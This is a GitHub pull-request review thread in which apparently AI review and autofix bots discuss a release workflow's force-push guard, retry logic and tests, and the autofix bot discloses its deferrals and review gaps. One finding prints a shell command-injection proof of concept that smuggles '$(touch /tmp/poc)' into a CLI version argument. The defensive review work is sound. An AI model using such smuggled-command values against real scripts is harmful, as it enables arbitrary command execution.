[Suggestion] R6-1: The fail-closed propagation branch (if [[ "${GUARD_STATUS}" -ne 0 ]]; then exit "${GUARD_STATUS}"; fi, release.yml:451-453) is pinned by no test: the refusal regex below ends verbatim at the refusal branch's exit 1, and the re-validation regex spans the guard-to-push region with an unanchored [\s\S]*?. — Failure scenario: mutation-proven — deleting those three -ne 0 lines from release.yml leaves all 11 release-workflow tests green. With that branch gone, a guard probe failure (npm ETIMEDOUT/registry outage, gh auth failure → exit 2) falls through to git push --force without verification, silently defeating the guard's fail-closed guarantee — the sibling test's comment promises "any other guard exit (a fail-closed probe error) … still notify", but no regex certifies the branch that makes it true.
Suggested fix — pin the branch verbatim, e.g. append to the existing refusal regex (or add one more toMatch):
\n {12}fi\n {12}if \[\[ "\$\{GUARD_STATUS\}" -ne 0 \]\]; then\n {14}exit "\$\{GUARD_STATUS\}"\n {12}fi
The extended regex was verified to match the clean workflow and fail under the mutant.
中文说明
[Suggestion] R6-1:失败关闭(fail-closed)传播分支(if [[ "${GUARD_STATUS}" -ne 0 ]]; then exit "${GUARD_STATUS}"; fi,release.yml:451-453)没有任何测试固定:下方的拒绝正则在该分支的 exit 1 处逐字结束,而重新校验正则用未锚定的 [\s\S]*? 跨越守卫到推送之间的区域。 — 失败场景:已用突变证实 —— 从 release.yml 删除那三行 -ne 0 后,全部 11 个 release-workflow 测试仍为绿色。该分支消失后,守卫探针失败(npm ETIMEDOUT/registry 故障、gh 认证失败 → exit 2)会直接落到 git push --force,未经任何校验,静默破坏守卫的失败关闭保证 —— 相邻测试的注释承诺"任何其它守卫退出(失败关闭的探针错误)……仍会通知",但没有任何正则保证使其成立的分支存在。建议修复见上方英文部分(将分支逐字追加进现有正则),已验证扩展后的正则能匹配正常 workflow 并在该突变下失败。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| concurrency: | ||
| group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}' |
There was a problem hiding this comment.
[Suggestion] R6-2: The new concurrency group serializes same-tag retries behind an in-progress publish job, but the publish job sets no timeout-minutes, so a wedged job holds the group for the GitHub default of 360 minutes and queued same-tag retries can neither run nor fail nor notify until it is released. — Failure scenario: a publish job hangs mid-run — a stalled npm publish or a stalled asset upload in gh release create (both are real hang points after the group is held). The retry's publish job sits in the concurrency queue behind the hung run for up to ~6 hours with no notification: notify_failure's gate only evaluates once publish reaches a terminal state, and a queued job never does. Pre-diff, the retry ran concurrently and failed fast at the push (non-fast-forward rejection), firing notify_failure within minutes.
Suggested fix — bound the hold without weakening the no-cancel-mid-publish invariant:
| concurrency: | |
| group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}' | |
| concurrency: | |
| group: 'release-publish-${{ needs.prepare.outputs.release_tag }}-${{ needs.prepare.outputs.is_dry_run }}' | |
| timeout-minutes: 90 |
Job-level precedent exists in this repo (ci.yml:60, desktop-release.yml:120).
中文说明
[Suggestion] R6-2:新的并发组使同 tag 的重试排队在进行中的 publish 任务之后,但 publish 任务没有设置 timeout-minutes,因此卡住的任务会按 GitHub 默认的 360 分钟一直占用该组,排队的同 tag 重试在其释放之前既不能运行、也不会失败、更不会通知。 — 失败场景:publish 任务中途挂起 —— npm publish 停滞或 gh release create 的资源上传停滞(两者都是占用并发组之后的真实挂起点)。重试的 publish 任务在并发队列中排在挂起运行之后最长约 6 小时且无任何通知:notify_failure 的门禁只在 publish 到达终态时才求值,而排队中的任务永远不会到达。改动前,重试并发运行并在推送处快速失败(non-fast-forward 拒绝),数分钟内即触发 notify_failure。建议修复见上方英文部分(为 publish 任务增加 timeout-minutes: 90;仓库已有 job 级先例:ci.yml:60、desktop-release.yml:120),在不削弱"发布中途不取消"不变量的前提下限定占用时间。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| # means the release shipped elsewhere (or partially), not that | ||
| # it failed. Any other non-zero exit stays a real failure. | ||
| GUARD_STATUS=0 | ||
| node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}" || GUARD_STATUS=$? |
There was a problem hiding this comment.
[Suggestion] R6-5: The guard runs 12 serial external probes (10× npm view, 1× git ls-remote, 1× gh release view) with no retry. Any transient non-E404 error exits 2 → publish failure → notify_failure files a "Release Failed" issue labeled autofix/approved and dispatches the autonomous qwen-autofix agent (dry_run=false) against transient infrastructure noise — and this runs minutes-to-hours after a human already approved the environment gate. — Failure scenario: an npm registry E429/ETIMEDOUT on any of the 10 package probes, a TLS blip on ls-remote, or a GitHub secondary rate limit on gh release view at push time fails the release, creates the tracking issue, and dispatches an autonomous autofix run that cannot fix a transient outage; the operator must re-dispatch from scratch. Pre-diff the push step probed nothing (git push only), so this diff inserts 12 new flake opportunities at the job's most expensive moment. Fail-closed is the right baseline; a bounded retry of exit-2 only preserves it.
Suggested fix — re-run probe failures only, keeping exit 0/3 decisive:
for attempt in 1 2 3; do
node scripts/get-release-version.js --assert-unreleased="${RELEASE_VERSION}" && GUARD_STATUS=0 || GUARD_STATUS=$?
[[ "${GUARD_STATUS}" -ne 2 ]] && break
sleep $(( attempt * 15 ))
done中文说明
[Suggestion] R6-5:守卫串行执行 12 次外部探测(10 次 npm view、1 次 git ls-remote、1 次 gh release view)且没有任何重试。任何瞬时的非 E404 错误都会以 exit 2 结束 → publish 失败 → notify_failure 创建带 autofix/approved 标签的 "Release Failed" issue,并对瞬时基础设施噪声派发自主的 qwen-autofix agent(dry_run=false)—— 而这一切发生在人工已批准环境门禁之后的数分钟乃至数小时。 — 失败场景:推送时刻 10 个包探测中任意一个遇到 npm registry E429/ETIMEDOUT、ls-remote 的 TLS 抖动、或 gh release view 的 GitHub 次级限流,就会使发布失败、创建跟踪 issue,并派发一次无法修复瞬时故障的自主 autofix 运行;运维必须从头重新派发。改动前推送步骤不做任何探测(只有 git push),因此本 diff 在任务最昂贵的时刻引入了 12 个新的抖动机会。失败关闭是正确的基线;仅对 exit 2 做有界重试即可保留该基线。建议修复见上方英文部分(有界重试,仅重跑探测失败,保持 exit 0/3 的决定性)。
— qwen3.8-max via Qwen Code /review (v0.21.11)
|
🤖 Addressed the latest review feedback (round 5/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 5/10 轮)。改动内容与我反驳保留之处如下: Autofix review round summary — PR #9082 (issue #9076)All five findings addressed; all resolved in code. No conflicts ( Findings and dispositions
Notes
Verification
中文说明Autofix 评审轮次总结 — PR #9082(issue #9076)五个发现全部处理,且全部在代码中解决。无冲突( 发现与处置
说明
验证
Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 path of the new stub test was executed nowhere; the failure it would show is finding R7-2.
Not explored to full depth (tool budget reached): "Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…": none — all checks I intended completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": nothing major — I completed the walk I had planned. I did not exhaustively verify the branch protection / force-push permissions (external config, unverifiable …; "You are review agent reverse-audit — Reverse audit agent…": none — the planned walk completed within budget.; "You are review agent reverse-audit — Reverse audit agent…": (none — finished within budget; no check left unfinished); "Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…": none — all planned checks completed within budget..
Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
仅完成部分审查,审查缺口已披露。
未审查:build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 path of the new stub test was executed nowhere; the failure it would show is finding R7-2。
未探索到全部深度(达到工具调用预算):"Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…":none — all checks I intended completed within budget.;"You are review agent reverse-audit — Reverse audit agent…":nothing major — I completed the walk I had planned. I did not exhaustively verify the branch protection / force-push permissions (external config, unverifiable …;"You are review agent reverse-audit — Reverse audit agent…":none — the planned walk completed within budget.;"You are review agent reverse-audit — Reverse audit agent…":(none — finished within budget; no check left unfinished);"Context: PR #9082 (QwenLM/qwen-code, Fixes #9076) changes…":none — all planned checks completed within budget.。
未审查:反向审计——在 5 轮的反审轮数上限内未收敛。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| if (strict && !error.message?.includes('E404')) { | ||
| throw new Error( | ||
| `Failed to verify ${pkg}@${version} on npm: ${error.message}`, |
There was a problem hiding this comment.
[Critical] R7-1: Strict-mode probe error after a shipped-package hit masks the already-decided exit-3 refusal — the npm scan throws on any non-E404 error even when shippedPackages is already non-empty, so runCli maps the un-coded error to exit 2 instead of exit 3. The comment above states the intent — "a failed one would mask the refusal's recovery guidance" — which is exactly what happens inside the loop. — Failure scenario: a partially published version is retried during a registry disruption → the loop hits on a shipped package, then a transient ETIMEDOUT/E429 on a later package throws → the workflow retries 3× and, if the disruption persists, the job fails without version_refusal set → notify_failure files a "Release Failed" issue and dispatches autofix against a version that actually (partially) shipped, losing the "Found on: …" recovery guidance. Probe-proven: hit on package[0] + ETIMEDOUT on package[1] → runCli returns 2 (expected 3); the fix below flips it to 3 with all 60 tests green. The push itself is still blocked — only classification and notification are wrong.
| if (strict && !error.message?.includes('E404')) { | |
| throw new Error( | |
| `Failed to verify ${pkg}@${version} on npm: ${error.message}`, | |
| if ( | |
| strict && | |
| shippedPackages.length === 0 && | |
| !error.message?.includes('E404') | |
| ) { | |
| throw new Error( | |
| `Failed to verify ${pkg}@${version} on npm: ${error.message}`, | |
| ); |
中文说明
严格模式下,在已命中"已发布"包之后的探测错误会掩盖已经确定的 exit 3 拒绝 —— npm 扫描在 shippedPackages 已非空时仍会对任何非 E404 错误抛出异常,于是 runCli 把这个未带 code 的错误映射为 exit 2 而非 exit 3。上方注释声明的意图 —— "失败的探测会掩盖拒绝的恢复指引" —— 恰恰在循环内部发生。 — 失败场景:部分发布的版本在 registry 故障期间被重试 → 循环命中已发布的包,随后某个后续包出现瞬时 ETIMEDOUT/E429 并抛错 → workflow 重试 3 次后若故障仍在,任务在 version_refusal 未置位的情况下失败 → notify_failure 为一个实际已(部分)发布的版本建 "Release Failed" issue 并派发 autofix,同时丢失 "Found on: …" 恢复指引。已用探针证实:包[0] 命中 + 包[1] ETIMEDOUT → runCli 返回 2(应为 3);下方修复使其翻转为 3 且全部 60 个测试仍绿。推送本身仍会被阻断 —— 只有失败分类与通知是错的。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| ); | ||
| }); | ||
|
|
||
| it('exits 3 from the real entry point when the version already shipped', () => { |
There was a problem hiding this comment.
[Critical] R7-2: This entry-point exit-3 test is POSIX-only but runs on the merge-queue test_windows gate, where it fails by construction. The stub shadows npm via a #!/bin/sh file prepended to PATH with : — on Windows the colon corrupts the PATH prepend (;-separated), the extensionless npm is unresolvable by cmd.exe, and the shebang is inert. test:ci → test:scripts collects this file there (the win32 exclude list matches only pr-self-report-label.test.js and qwen-*-workflow.test.js). — Failure scenario: on test_windows the real toolchain runs — E404 probes are tolerated, then gh release view without GITHUB_TOKEN throws in strict mode → runCli exits 2, but the test asserts toBe(3) → deterministic red on the required Windows gate for this PR and every later one. Probe-proven: the stub-resolves arm exits 3 with the refusal message; the stub-unresolvable arm exits 2 via the exact gh auth error. The sibling usage-error spawn test is cross-platform-safe and can stay.
| it('exits 3 from the real entry point when the version already shipped', () => { | |
| it.skipIf(process.platform === 'win32')( | |
| 'exits 3 from the real entry point when the version already shipped', | |
| () => { |
(Alternatively, add 'scripts/tests/release-workflow.test.js' to the win32 exclude list in scripts/tests/vitest.config.ts, matching the convention documented there.)
中文说明
这个入口 exit 3 测试仅支持 POSIX,却会在 merge 队列的 test_windows 门禁上运行,并在该平台上必然失败。打桩通过 #!/bin/sh 文件以 : 拼接到 PATH 前来影子化 npm —— 在 Windows 上冒号会破坏 PATH 前置(Windows 以 ; 分隔)、无扩展名的 npm 无法被 cmd.exe 解析、shebang 也不生效。test:ci → test:scripts 会在那里收集本文件(win32 排除列表只匹配 pr-self-report-label.test.js 与 qwen-*-workflow.test.js)。 — 失败场景:在 test_windows 上真实工具链运行 —— E404 探测被容忍,随后无 GITHUB_TOKEN 的 gh release view 在严格模式下抛错 → runCli 以 2 退出,而测试断言 toBe(3) → 本 PR 及后续所有 PR 的必需 Windows 门禁确定性变红。已用探针证实:桩可解析臂以 3 退出并输出拒绝消息;桩不可解析臂以 2 退出且正是该 gh 鉴权错误。同组的用法错误 spawn 测试跨平台安全,可保留。
— qwen3.8-max via Qwen Code /review (v0.21.11)
| it('pins the full published-package set', () => { | ||
| // The push-time guard derives from this list; the workflow's publish | ||
| // steps hardcode the same set separately, so adding or removing a | ||
| // package must update both this pin and the publish steps in | ||
| // release.yml so every consumer is reviewed together. |
There was a problem hiding this comment.
[Suggestion] R7-3: This pin enforces only one direction of the two-consumer coupling its comment declares — a change to PUBLISHED_PACKAGES fails this test, but a change to release.yml's hardcoded publish set (three individual publish steps plus the channel allowlist loop) fails nothing. — Concrete cost: if a future package is added to the workflow allowlist but not to PUBLISHED_PACKAGES, the push-time guard never probes it; since the origin tag exists only after gh release create (which runs after all npm publishes), the npm scan is the only defense after a partial publish that dies before that step — a partial publish that shipped only the unlisted package reads as "unreleased" and the force push proceeds despite the guard's stated invariant. Both sets match today, so this is drift risk, not a live bug.
Suggested fix: in scripts/tests/release-workflow.test.js (which already loads release.yml), assert that the workflow's publish steps cover exactly PUBLISHED_PACKAGES, so drift fails in both directions.
中文说明
该固定测试只强制其注释所声明的双消费者耦合的一个方向 —— 修改 PUBLISHED_PACKAGES 会使本测试失败,但修改 release.yml 中硬编码的发布集合(三个独立发布步骤加上 channel 白名单循环)不会使任何测试失败。 — 具体代价:若未来某个包被加入 workflow 白名单却未加入 PUBLISHED_PACKAGES,推送时守卫将永不探测它;由于 origin tag 只在 gh release create(位于所有 npm 发布之后)之后才存在,对于在该步骤之前死掉的部分发布,npm 扫描是唯一防线 —— 只发布了该未列出包的部分发布会被读作"未发布",强制推送将不顾守卫声明的不变量继续执行。两侧集合当前一致,因此这是漂移风险,而非现行 bug。
建议修复:在 scripts/tests/release-workflow.test.js(已加载 release.yml)中断言 workflow 的发布步骤恰好覆盖 PUBLISHED_PACKAGES,使两个方向的漂移都会失败。
— qwen3.8-max via Qwen Code /review (v0.21.11)
There was a problem hiding this comment.
Deferred — critical-only mode is active on this PR (five change-producing rounds complete), so non-Critical automated-reviewer suggestions are no longer implemented in this round. The finding’s own assessment holds: both sets match today, so this is drift risk, not a live bug. The bidirectional pin (asserting the workflow’s publish steps cover exactly PUBLISHED_PACKAGES) stays open for human follow-up and can land as a small follow-up PR.
中文说明
暂缓 —— 本 PR 已触发仅处理 Critical 的模式(已完成 5 个产生改动的轮次),本轮不再实施自动审查器的非 Critical 建议。该发现自身的判断成立:两侧集合当前一致,属于漂移风险而非现行 bug。双向固定(断言 workflow 的发布步骤恰好覆盖 PUBLISHED_PACKAGES)保持开放,留待人工跟进,可作为小型后续 PR 落地。
| // code through it, and the retry loop is pinned around the call: | ||
| // GUARD_STATUS is reset each attempt and only exit 2 (a probe | ||
| // failure) retries — exit 0 and exit 3 stay decisive on the first | ||
| // attempt. |
There was a problem hiding this comment.
[Suggestion] R7-4: The retry loop's break condition (if [[ "${GUARD_STATUS}" -ne 2 ]]; then break; fi) and backoff sleep are not pinned by any test, although this comment claims they are — all three workflow regexes leave the loop body between the guard invocation and the push as an unconstrained [\s\S]*? gap (no occurrence of -ne 2, break, or retrying in in either test file). — Concrete cost (mutation-proven): changing -ne 2 → -eq 2 in release.yml — which makes a probe failure break immediately with no retry — leaves all 60 tests green, yet would make a transient registry blip fail releases and dispatch autofix at infrastructure noise: the exact regression the loop was added to prevent.
Suggested fix: extend one of the existing regexes to span the loop body verbatim (the -ne 2 break block and the sleep $(( attempt * 15 )) line).
中文说明
重试循环的跳出条件(if [[ "${GUARD_STATUS}" -ne 2 ]]; then break; fi)与退避 sleep 并未被任何测试固定,尽管此注释声称已固定 —— 三个 workflow 正则都把守卫调用与推送之间的循环体留作不受约束的 [\s\S]*? 空隙(两个测试文件中均无 -ne 2、break、retrying in 出现)。 — 具体代价(已突变证实):把 release.yml 中的 -ne 2 改为 -eq 2 —— 使探测失败立即跳出、不再重试 —— 全部 60 个测试仍绿,却会让一次瞬时 registry 抖动直接失败发布并向基础设施噪音派发 autofix:正是该循环要防止的回归。
建议修复:将既有正则之一逐字扩展至覆盖循环体(-ne 2 跳出块与 sleep $(( attempt * 15 )) 行)。
— qwen3.8-max via Qwen Code /review (v0.21.11)
There was a problem hiding this comment.
Deferred — critical-only mode is active on this PR, so non-Critical automated-reviewer suggestions are not implemented in this round. The mutation-tested gap is real (inverting -ne 2 to -eq 2 keeps all tests green today), but the fix is additive test coverage against a nearly exhausted test-line budget; it stays open for human follow-up.
中文说明
暂缓 —— 本 PR 已触发仅处理 Critical 的模式,本轮不实施自动审查器的非 Critical 建议。该突变验证的缺口真实存在(把 -ne 2 反转为 -eq 2 目前所有测试仍绿),但修复属于在测试行预算接近耗尽时新增测试覆盖;保持开放,留待人工跟进。
| ( | ||
| needs.publish.result == 'failure' && | ||
| needs.publish.outputs.version_refusal != 'true' | ||
| ) |
There was a problem hiding this comment.
[Suggestion] R7-5: A push-time refusal after a partial publish leaves no trace on the release's tracking artifact — when version_refusal is set the entire notify_failure job is skipped, so the already-open "Release Failed" issue is never updated and nothing else notifies. — Concrete cost: run A publishes 6 of 10 packages then fails → notify_failure files "Release Failed for vX" issue #N with status/ready-for-agent + autofix/approved labels (picked up by the scheduled autofix scan). The retry hits the guard → exit 3 → version_refusal=true → notify skipped: no comment on issue #N, no new issue, no dispatch. Issue #N stays open and stale while every future retry dies silently at the guard; oncall follows the stale issue and keeps retrying a run that can never succeed, with no breadcrumb that the release is half-shipped and must be completed manually from the pushed release/<tag> tip — the exact guidance the refusal message contains but never delivers there.
Suggested fix: on refusal, comment on the existing "Release Failed for " issue when one is open (the lookup logic already exists in notify_failure), or at minimum write the refusal's Found on: … detail and manual-completion guidance to $GITHUB_STEP_SUMMARY in the push step before exit 1.
中文说明
在部分发布之后的推送时拒绝不会在发布的跟踪载体上留下任何痕迹 —— 当 version_refusal 置位时整个 notify_failure 任务被跳过,于是已经打开的 "Release Failed" issue 永远不会被更新,也没有任何其他通知。 — 具体代价:run A 发布 10 个包中的 6 个后失败 → notify_failure 建立 "Release Failed for vX" issue #N,带 status/ready-for-agent + autofix/approved 标签(会被定时 autofix 扫描拾取)。重试命中守卫 → exit 3 → version_refusal=true → 通知被跳过:issue #N 无评论、无新 issue、无派发。issue #N 保持打开且过期,而此后每次重试都在守卫处静默死去;值班人员循着过期 issue 不断重试一个永远不可能成功的运行,且没有任何线索表明发布已半完成、需要从已推送的 release/<tag> tip 手动补齐 —— 这正是拒绝消息所包含、却从未送达该处的指引。
建议修复:拒绝时,如已存在对应的 "Release Failed for " issue 则在其上评论(notify_failure 中已有查找逻辑),或至少在推送步骤 exit 1 之前把拒绝的 Found on: … 明细与手动补齐指引写入 $GITHUB_STEP_SUMMARY。
— qwen3.8-max via Qwen Code /review (v0.21.11)
There was a problem hiding this comment.
Deferred — critical-only mode is active on this PR, so non-Critical automated-reviewer suggestions are not implemented in this round. The suggested fix (commenting on an open “Release Failed” issue on refusal, or writing the refusal detail to the step summary) extends release.yml’s notification path and needs a design call beyond this round’s scope; it stays open for human follow-up.
中文说明
暂缓 —— 本 PR 已触发仅处理 Critical 的模式,本轮不实施自动审查器的非 Critical 建议。建议的修复(拒绝时在已打开的 “Release Failed” issue 上评论,或将拒绝明细写入步骤摘要)会扩展 release.yml 的通知路径,需要超出本轮范围的设计决策;保持开放,留待人工跟进。
…-only test on win32 (#9076)
|
🤖 Addressed the latest review feedback (round 6/10). What changed, and what I pushed back on: · 已处理最新评审反馈(第 6/10 轮)。改动内容与我反驳保留之处如下: Address review summary — PR #9082 (issue #9076), round 7Critical-only mode is active (five change-producing rounds complete), so only FindingsR7-1 [Critical] Probe error after a shipped-package hit masks the exit-3 refusal — RESOLVEDReproduced before implementing: a probe run of the real entry point with a Fix (matches the finding's suggestion): the catch in Added the regression test R7-2 [Critical] POSIX-only exit-3 spawn test fails by construction on the Windows gate — RESOLVEDConfirmed by inspection and surrogate probe: the merge-queue Fix: R7-3, R7-4, R7-5 [Suggestion] — DEFERRED (critical-only brake)Per the engaged critical-only mode, non-Critical automated-reviewer
ConflictNone ( Verification
中文说明处理审查总结 — PR #9082(issue #9076),第 7 轮仅处理 Critical 的模式已生效(已完成 5 个产生改动的轮次),因此本轮只有 发现R7-1 [Critical] 已发布包命中后的探测错误掩盖 exit 3 拒绝 — 已解决实施前先复现:用真实入口运行探针,包[0] 命中、包[1] 出现瞬时 ETIMEDOUT, 修复(与发现的建议一致): 新增回归测试 R7-2 [Critical] 仅 POSIX 的 exit 3 spawn 测试在 Windows 门禁上必然失败 — 已解决通过代码检查与替代探针确认:merge 队列的 修复:对该单个测试使用 R7-3、R7-4、R7-5 [Suggestion] — 暂缓(仅 Critical 刹车)按已生效的仅 Critical 模式,本轮不实施自动审查器的非 Critical 建议。不改
冲突无( 验证
Deferred non-Critical feedbackCritical-only mode is active: 5 change-producing rounds are complete. The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. ( 中文说明已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 Re-review when you have a moment. After round 10 this bot stops and leaves the PR for a human. · 有空请复审;第 10 轮后本 bot 停止并将 PR 交给人工。 🧠 Handled by Qwen Code · model/模型 |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Partially reviewed — gaps disclosed. Suggestions are inline.
Not reviewed: build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 skip path of the release-workflow spawn test was executed nowhere.
Not explored to full depth (tool budget reached): "agent 3b": none — no check was cut short..
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
仅完成部分审查,审查缺口已披露。 建议见行内评论。
未审查:build-and-test — Test (windows-latest, Node 22.x) was skipped in CI (merge_group-only job) and the win32 skip path of the release-workflow spawn test was executed nowhere。
未探索到全部深度(达到工具调用预算):"agent 3b":none — no check was cut short.。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— qwen3.8-max via Qwen Code /review (v0.21.12)
| export function assertVersionUnreleased(version) { | ||
| if (typeof version !== 'string' || version.length === 0) { | ||
| throw new Error( | ||
| 'assert-unreleased requires a version, e.g. --assert-unreleased=1.2.3', |
There was a problem hiding this comment.
[Suggestion] R8-3: assertVersionUnreleased interpolates its only input into execSync shell commands with only a non-empty-string check — npm view ${pkg}@${version} version ×10, git ls-remote --exit-code origin "refs/tags/v${version}", gh release view "v${version}" — and is the one doesVersionExist call path that skips the validateVersion its sibling paths (getStableVersion/getPreviewVersion) apply. The function is newly exported and its usage-error message advertises direct CLI use, so any future caller inherits a shell sink. — Failure scenario: node scripts/get-release-version.js '--assert-unreleased=1.2.3$(touch /tmp/poc)' executes the command substitution as the invoking user (probe-proven: marker file created, exit 0). No workflow path is exploitable today — prepare validates every version shape before publish, and workflow_dispatch actors have write access and arbitrary code execution already — so this is defense-in-depth on the exported function / CLI surface, not a live hole.
Witness (probe flip, PATH-stubbed npm/git/gh, no network):
payload '--assert-unreleased=1.2.3$(touch /tmp/r83-A)'
unmodified PR -> marker file created, exit 0
+ shape validation -> ::error::, exit 2, no marker file
nightly 0.6.1-nightly.20260815.abc1234 -> exit 0 (legit shape passes)
| export function assertVersionUnreleased(version) { | |
| if (typeof version !== 'string' || version.length === 0) { | |
| throw new Error( | |
| 'assert-unreleased requires a version, e.g. --assert-unreleased=1.2.3', | |
| export function assertVersionUnreleased(version) { | |
| if (typeof version !== 'string' || !semver.valid(version)) { | |
| throw new Error( | |
| 'assert-unreleased requires a version, e.g. --assert-unreleased=1.2.3', |
The fix uses the already-imported semver and keeps the error message unchanged (the spawn test pins the assert-unreleased requires a version substring); probe-flip verified, all 61 tests stay green.
中文说明
[Suggestion] R8-3:assertVersionUnreleased 将其唯一输入直接内插到 execSync shell 命令中,仅做非空字符串检查 —— npm view ${pkg}@${version} version ×10、git ls-remote --exit-code origin "refs/tags/v${version}"、gh release view "v${version}" —— 是 doesVersionExist 所有调用路径中唯一没有像姊妹路径(getStableVersion/getPreviewVersion)那样先过 validateVersion 的一条。该函数本次新被导出,且其用法错误消息明示可直接从 CLI 使用,因此任何未来的调用方都会继承一个 shell 注入汇点。— 失败场景:node scripts/get-release-version.js '--assert-unreleased=1.2.3$(touch /tmp/poc)' 会以调用者身份执行命令替换(已用探针证实:标记文件被创建,退出码 0)。当前没有任何 workflow 路径可被利用 —— prepare 在发布前会校验所有版本形状,workflow_dispatch 的触发者本就拥有写权限与任意代码执行能力 —— 因此这是针对导出函数 / CLI 表面的纵深防御,而非现存漏洞。
见证(探针翻转,PATH 打桩 npm/git/gh,无网络):载荷 '--assert-unreleased=1.2.3$(touch /tmp/r83-A)':未修改的 PR → 标记文件被创建、退出 0;应用形状校验后 → ::error::,退出 2,无标记文件;合法的 nightly 形状 0.6.1-nightly.20260815.abc1234 → 退出 0。
建议修复:在守卫入口使用已导入的 semver 做形状校验(见上方 suggestion 代码块);错误消息保持不变,以免破坏固定 assert-unreleased requires a version 子串的 spawn 测试。已用探针翻转验证,全部 61 个测试仍绿。
— qwen3.8-max via Qwen Code /review (v0.21.12)
|
🤖 Reviewed the latest feedback — no changes needed. Why, point by point: · 已审阅最新反馈——无需改动。逐点说明原因如下: Autofix review round: no action (PR #9082)Critical-only mode is active on this PR: 5 change-producing rounds are complete, and the diff grew past this counting window's budget (source 185 / test 406 net lines vs budgets of 400/400). The deterministic brake deferred all non-Critical feedback to human follow-up. After that filter, this round has no actionable work:
The deferred non-Critical items (one automated review and one inline suggestion on No code changes were made this round; no new commit was created. 中文说明Autofix 评审轮次:无操作(PR #9082)本 PR 已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且 diff 已超出本计数窗口的预算(源码 185 / 测试 406 净增行,预算为 400/400)。确定性刹车已将所有非 Critical 反馈延后,留待人工跟进。 经过该过滤后,本轮没有可执行的工作:
被延后的非 Critical 条目(一条自动化评审和一条针对 本轮未做任何代码改动;未创建新的提交。 Deferred non-Critical feedbackCritical-only mode is active: 5 change-producing rounds are complete and the PR's diff grew src 185 / test 406 net lines beyond this counting window's baseline (budgets: 400/400). The workflow excluded the non-Critical feedback below from this round's actionable sections; the items remain open for human follow-up. Maintainer feedback is deferred only after its author has used 2 regular feedback batches in this window's Critical-only tail; authors at that budget, if any, are named below. (
中文说明已进入仅处理 Critical 的模式:已完成 5 个产生改动的轮次,且本计数窗口内 diff 净增长已达 源码 185 / 测试 406 行(预算 400/400)。本轮可执行区域已排除下方非 Critical 反馈;这些条目保持开放,留待人工跟进。维护者反馈仅在其本人于本窗口 Critical-only 阶段已使用 2 批常规反馈预算后才会延后;达到预算的作者(如有)在下方点名。(评论 Base-conflict check · 基分支冲突检查: no conflict with main. · 与 main 无冲突。 🧠 Handled by Qwen Code · model/模型 |
doudouOUC
left a comment
There was a problem hiding this comment.
Reviewed. Suggestions are inline. 1 Suggestion-level finding(s) could not be anchored to a changed line and were dropped; nothing further to act on here.
Not explored to full depth (tool budget reached): "PR #9082: fix(ci): force-push release branch so retries…": None. Walked every hunk, enclosing function, the full test file, and the full workflow file..
Not linted (tool limitation, not a blocker): the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted.
Test Plan (not a blocker): release/v0.21.12-preview.0 — no such file or directory.
中文说明
已审查。 建议见行内评论。 1 条建议级发现无法锚定到改动行,已丢弃;此处无需进一步处理。
未探索到全部深度(达到工具调用预算):"PR #9082: fix(ci): force-push release branch so retries…":None. Walked every hunk, enclosing function, the full test file, and the full workflow file.。
未检查(工具限制,非阻断):the executable-script lint — .github/workflows/release.yml: actionlint embedded-shell source mapping is not yet supported — not linted。
Test Plan(非阻断):release/v0.21.12-preview.0 — no such file or directory。
— deepseek-v4-flash via Qwen Code /review (v0.21.11)
| try { | ||
| assertVersionUnreleased(args['assert-unreleased']); | ||
| } catch (error) { | ||
| console.error(`::error::${error.message}`); |
There was a problem hiding this comment.
[Suggestion] ::error:: annotation written to stderr via console.error is not parsed by GitHub Actions runner — should use console.log (stdout)
GitHub Actions parses workflow commands like ::error:: from stdout, not stderr. The error message is still visible in raw logs but is not annotated in the GitHub Actions UI. The workflow logic is unaffected (it keys on the exit code), but operators scanning the UI for error annotations will miss this one.
